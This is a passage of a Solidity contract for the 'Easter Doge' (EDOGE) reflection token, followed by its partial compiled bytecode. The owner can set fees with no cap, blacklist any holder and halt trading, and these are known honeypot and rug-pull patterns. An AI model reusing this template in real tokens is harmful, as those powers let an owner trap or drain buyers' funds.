function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract EDOGE is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Easter Doge";//
string private constant _symbol = "EDOGE";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 2;//
uint256 private _taxFeeOnBuy = 5;//
//Sell Fee
uint256 private _redisFeeOnSell = 2;//
uint256 private _taxFeeOnSell = 5;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0xC4968b953E048A2A31847026318401aFF1fD8a48);//
address payable private _marketingAddress = payable(0xC4968b953E048A2A31847026318401aFF1fD8a48);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000 * 10**9; //
uint256 public _maxWalletSize = 30000000 * 10**9; //
uint256 public _swapTokensAtAmount = 15000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = 3;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe91906130c7565b610702565b005b34801561021157600080fd5b5061021a610852565b6040516102279190613510565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190613033565b61088f565b60405161026491906134da565b60405180910390f35b34801561027957600080fd5b506102826108ad565b60405161028f91906134f5565b60405180910390f35b3480156102a457600080fd5b506102ad6108d3565b6040516102ba91906136f2565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612fe4565b6108e3565b6040516102f791906134da565b60405180910390f35b34801561030c57600080fd5b506103156109bc565b60405161032291906136f2565b60405180910390f35b34801561033757600080fd5b506103406109c2565b60405161034d9190613767565b60405180910390f35b34801561036257600080fd5b5061036b6109cb565b60405161037891906134bf565b60405180910390f35b34801561038d57600080fd5b506103a860048036038101906103a39190612f56565b6109f1565b005b3480156103b657600080fd5b506103d160048036038101906103cc9190613108565b610ae1565b005b3480156103df57600080fd5b506103e8610b92565b005b3480156103f657600080fd5b50610411600480360381019061040c9190612f56565b610c63565b60405161041e91906136f2565b60405180910390f35b34801561043357600080fd5b5061043c610cb4565b005b34801561044a57600080fd5b5061046560048036038101906104609190613131565b610e07565b005b34801561047357600080fd5b5061047c610ea6565b60405161048991906136f2565b60405180910390f35b34801561049e57600080fd5b506104a7610eac565b6040516104b491906134bf565b60405180910390f35b3480156104c957600080fd5b506104e460048036038101906104df9190613108565b610ed5565b005b3480156104f257600080fd5b506104fb610f8f565b60405161050891906136f2565b60405180910390f35b34801561051d57600080fd5b50610526610f95565b6040516105339190613510565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e9190613131565b610fd2565b005b34801561057157600080fd5b5061058c6004803603810190610587919061315a565b611071565b005b34801561059a57600080fd5b506105b560048036038101906105b09190613033565b611128565b6040516105c291906134da565b60405180910390f35b3480156105d757600080fd5b506105f260048036038101906105ed9190612f56565b611146565b6040516105ff91906134da565b60405180910390f35b34801561061457600080fd5b5061061d611166565b005b34801561062b57600080fd5b506106466004803603810190610641919061306f565b61123f565b005b34801561065457600080fd5b5061065d61139f565b60405161066a91906136f2565b60405180910390f35b34801561067f57600080fd5b5061069a60048036038101906106959190612fa8565b6113a5565b6040516106a791906136f2565b60405180910390f35b3480156106bc57600080fd5b506106d760048036038101906106d29190613131565b61142c565b005b3480156106e557600080fd5b5061070060048036038101906106fb9190612f56565b6114cb565b005b61070a61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610797576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161078e90613652565b60405180910390fd5b60005b815181101561084e576001601160008484815181106107e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061084690613a2c565b91505061079a565b5050565b60606040518060400160405280600b81526020017f45617374657220446f6765000000000000000000000000000000000000000000815250905090565b60006108a361089c61168d565b8484611695565b6001905092915050565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000670de0b6b3a7640000905090565b60006108f0848484611860565b6109b1846108fc61168d565b6109ac85604051806060016040528060288152602001613f3960289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061096261168d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122349092919063ffffffff16565b611695565b600190509392505050565b60195481565b60006009905090565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109f961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7d90613652565b60405180910390fd5b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ae961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b6d90613652565b60405180910390fd5b806016806101000a81548160ff02191690831515021790555050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd361168d565b73ffffffffffffffffffffffffffffffffffffffff161480610c495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610c3161168d565b73ffffffffffffffffffffffffffffffffffffffff16145b610c5257600080fd5b6000479050610c6081612298565b50565b6000610cad600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612393565b9050919050565b610cbc61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4090613652565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610e0f61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9390613652565b60405180910390fd5b8060178190555050565b60175481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610edd61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f6a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f6190613652565b60405180910390fd5b80601660146101000a81548160ff021916908315150217905550600360088190555050565b60185481565b60606040518060400160405280600581526020017f45444f4745000000000000000000000000000000000000000000000000000000815250905090565b610fda61168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161105e90613652565b60405180910390fd5b8060198190555050565b61107961168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611106576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fd90613652565b60405180910390fd5b8360098190555082600b8190555081600a8190555080600c8190555050505050565b600061113c61113561168d565b8484611860565b6001905092915050565b60116020528060005260406000206000915054906101000a900460ff1681565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111a761168d565b73ffffffffffffffffffffffffffffffffffffffff16148061121d5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661120561168d565b73ffffffffffffffffffffffffffffffffffffffff16145b61122657600080fd5b600061123130610c63565b905061123c81612401565b50565b61124761168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb90613652565b60405180910390fd5b60005b83839050811015611399578160056000868685818110611320577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906113359190612f56565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061139190613a2c565b9150506112d7565b50505050565b60085481565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61143461168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b890613652565b60405180910390fd5b8060188190555050565b6114d361168d565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611560576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155790613652565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156115d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c7906135b2565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611705576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fc906136d2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176c906135d2565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161185391906136f2565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156118d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118c790613692565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611940576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193790613532565b60405180910390fd5b60008111611983576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197a90613672565b60405180910390fd5b61198b610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119f957506119c9610eac565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f3357601660149054906101000a900460ff16611a8857611a1a610eac565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a7e90613552565b60405180910390fd5b5b601754811115611acd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ac490613592565b60405180910390fd5b601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b715750601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611bb0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ba7906135f2565b60405180910390fd5b6008544311158015611c0f5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611c695750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611ca157503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611cff576001601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611dac5760185481611d6184610c63565b611d6b9190613828565b10611dab576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da2906136b2565b60405180910390fd5b5b6000611db730610c63565b9050600060195482101590506017548210611dd25760175491505b808015611dec5750601660159054906101000a900460ff16155b8015611e465750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611e5c575060168054906101000a900460ff165b8015611eb25750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611f085750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611f3057611f1682612401565b60004790506000811115611f2e57611f2d47612298565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611fda5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061208d5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415801561208c5750601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b1561209b5760009050612222565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156121465750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b1561215e57600954600d81905550600a54600e819055505b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156122095750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561222157600b54600d81905550600c54600e819055505b5b61222e848484846126fb565b50505050565b600083831115829061227c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122739190613510565b60405180910390fd5b506000838561228b9190613909565b9050809150509392505050565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6122e860028461272890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612313573d6000803e3d6000fd5b50601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61236460028461272890919063ffffffff16565b9081150290604051600060405180830381858888f1935050505015801561238f573d6000803e3d6000fd5b5050565b60006006548211156123da576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d190613572565b60405180910390fd5b60006123e4612772565b90506123f9818461272890919063ffffffff16565b915050919050565b6001601660156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561245f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561248d5781602001602082028036833780820191505090505b50905030816000815181106124cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561256d57600080fd5b505afa158015612581573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a59190612f7f565b816001815181106125df577f4e487b7100000000000000000000000000000000000000000000000